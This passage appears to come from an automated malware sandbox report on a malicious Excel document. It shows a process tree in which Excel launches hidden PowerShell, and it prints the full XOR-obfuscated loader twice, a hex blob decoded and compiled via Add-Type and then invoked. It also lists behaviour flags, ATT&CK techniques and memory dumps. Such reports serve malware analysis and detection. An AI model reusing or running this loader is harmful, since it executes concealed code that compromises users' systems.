435f080342560b53570759405059075002065a1a534242140d0c5f4849520300035e556242140d0c5f46745b16101b030e5e444e0d0c4c48580b565f0b041e54555450551624545801100a03011a0b544d195a1145534616040a50050b250b0c4e0d434248300d7a1145534e12075b5a05014837175a1b45440f0a0510011d044f48530e410a4e020106590e1a0b4e070a591a181e140250005c1168460a015a09506d4e0d4d0a411113460a015a0950182a010c5f1c596b4f5f1f4a0d4543140a42400c54520702594515'; $o67cb42 = u67563($o67cb4); Add-Type -TypeDefinition $o67cb42; [n37bb7b]::q354b7();
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Process spawned unexpected child process
  PID:2636
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0rdsdrdq\0rdsdrdq.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4420
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES775A.tmp" "c:\Users\Admin\AppData\Local\Temp\0rdsdrdq\CSCCC60C2AFBD6D456382F5731EDED5C5F1.TMP"
      4⤵
      PID:4548

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of WriteProcessMemory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:3472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden function u67563 {param($u4529)$pb5b6='h16fdb8';$p349fdb='';for ($i=0; $i -lt $u4529.length;$i+=2){$x2cdd91=[convert]::ToByte($u4529.Substring($i,2),16);$p349fdb+=[char]($x2cdd91 -bxor $pb5b6[($i/2)%$pb5b6.length]);}return $p349fdb;} $o67cb4 = '1d425f0803426b1142420309594d1b5858014431411b45530b4a304d06455f0b014c71064553140b126b0d43400f07074b5344450f0a05183b484512010f162c5857010a0d4b1c5855155f174b015f5146371b4b1c545b482d2d031d425f0803426b11424203094c760d450d6b6e124d0a5d5f05440154094245460a510f0a5301041f397c045d7f0b140d4a1c19140d0110560d5d0554464e7d0645441f340d5106450b4423074c3843590525065c1a544515464b6548414304080b5b48424207100b5b48544e120110564878581234164a484350545c5610215f423610101806525407054e4b1c435f080342420c070253070311536a720a082b55185e44124c40530d43580308510a4a1d16230a164a1161590f0a16185511142a0b035c245854140510414a186b4614175a045855461716591c585546011a4c0d4358462d0c4c384544461c065d0c50504e17164a015f514611075d0e021f5d3f265404785b160b104c40135d03160c5d0402044448427d0645441f340d5106450b44320b4a1c44570a3410571c545512464b6548414304080b5b48424207100b5b48544e12011056485359090842595b060f054c2b561c61421444150b5d030253554e6d215f42361010180c52505451065e4411430f0a16181102000455570e4411591310424d015f42461603015c030e4f5f397c045d7f0b140d4a1c19142d0110560d5d05544a065404131a46210c4c1a4866090d0c4c55136412082f571e547b03090d4a11131a4637074c2450451221104a07430b00050e4b0d186b461716591c585546011a4c0d435846120d510c1140555c045e5e021e2f0a16681c43160401540a5c1d7f0810324c1a115b0001530b591d5f0810424b0c0300004d59481d535a0f07424b1c50420f0742510645161757570c0a061e4f1f2b561c614214440d5d0a570e055742054849520300035e4044005151540b4013065f51010c5d01505205520e5d050652464b115358504e0b075a0e095555595f7106456612164c620d43594f1f05571c5e16095c560b5108045d192b561c61421444005a50070150535f4a0e030e524c0d5d0a570e05574e4d5e060350574a1a5a0803055057080e02015655570158070155505108580104565356594a181f5d0d04100a530e5053540f550c7f0810324c1a1f6c03160d11135659120b42575005055f5d500315647f0810324c1a11515057500a5519632f0a16681c431f535f17510645160e065b0b5e07025b5459510e1917075755010b1954045c540f5e061a0152510a5a1d061e505214074442460c00015b0700524d4b430f5e4209440d005c020f5f5659452a4842033f3f180e005055075f43584905574852400e571a561c5b08150a7f0810324c1a114c02005b0e557c5714170a59041f770a080d5b20765a0906035440021f5d29034a1b59570a4a215718481e0055040b0b1d064a1e065c51071a554d594e5b095000525110065441462d0c4c3845444e0600005e0600514a3657215f4250504a1143014e5654535a411d4c02005b0e44021f5d0b5a0c5b080f545e426f0d53750a0d07561c11505055570e555f531144355d0a725a0f010c4c40180d151010510656160e50070b5f0c7308120b4a075f5b030a16162f5442200b0e5c0d436607100a102d5f400f160d56055458124a31480d525f07082457045553144a2348185d5f05051651075f720710031143136a3a13010b5b0304444f170e5f0400554c400c5e04025201520b4a180d0052530d5e1f7209130c54075052200d0e5d4044005151540b4013065650570c5a00005301565c5906035f54530859050e53515759580002505452085e050e5351570f5809025151560d59050f5307570d5801035e545a085a050e565553595d55144f480a0c0d02014f5f324a0752531517314c0943422f0a045748530e5f50030f555f531144324a0752531517314c0943422f0a0457405902035755115361440907074b1b1f651205104c40530e5f50030f410a440310174a0611065d19124d0a5d5f0544114c09455f0544114c1a58580144170e5f0400554c114c1a58580144145d0b0302514d194b1c435f080342560b53570759405059075002065a1a534242140d0c5f4849520300035e556242140d0c5f46745b16101b030e5e444e0d0c4c48580b565f0b041e54555450551624545801100a03011a0b544d195a1145534616040a50050b250b0c4e0d434248300d7a1145534e12075b5a05014837175a1b45440f0a0510011d044f48530e410a4e020106590e1a0b4e070a591a181e140250005c1168460a015a09506d4e0d4d0a411113460a015a0950182a010c5f1c596b4f5f1f4a0d4543140a42400c54520702594515'; $o67cb42 = u67563($o67cb4); Add-Type -TypeDefinition $o67cb42; [n37bb7b]::q354b7();
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Process spawned unexpected child process
  PID:980
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\m4smsax5\m4smsax5.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4428
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7768.tmp" "c:\Users\Admin\AppData\Local\Temp\m4smsax5\CSCD374A730F0174CD9B9DDD149D52C83A9.TMP"
      4⤵
      PID:4532

C:\Program Files\Microsoft Office\Root\Office16\excelcnv.exe
"C:\Program Files\Microsoft Office\Root\Office16\excelcnv.exe" -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:4152

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/356-22-0x00000150E5370000-0x00000150E5371000-memory.dmp

Filesize
4KB

Download
memory/1304-1-0x000001BDC340C000-0x000001BDC3460000-memory.dmp

Filesize
336KB

Download
memory/3472-38-0x000001F7C5540000-0x000001F7C5541000-memory.dmp

Filesize
4KB

Download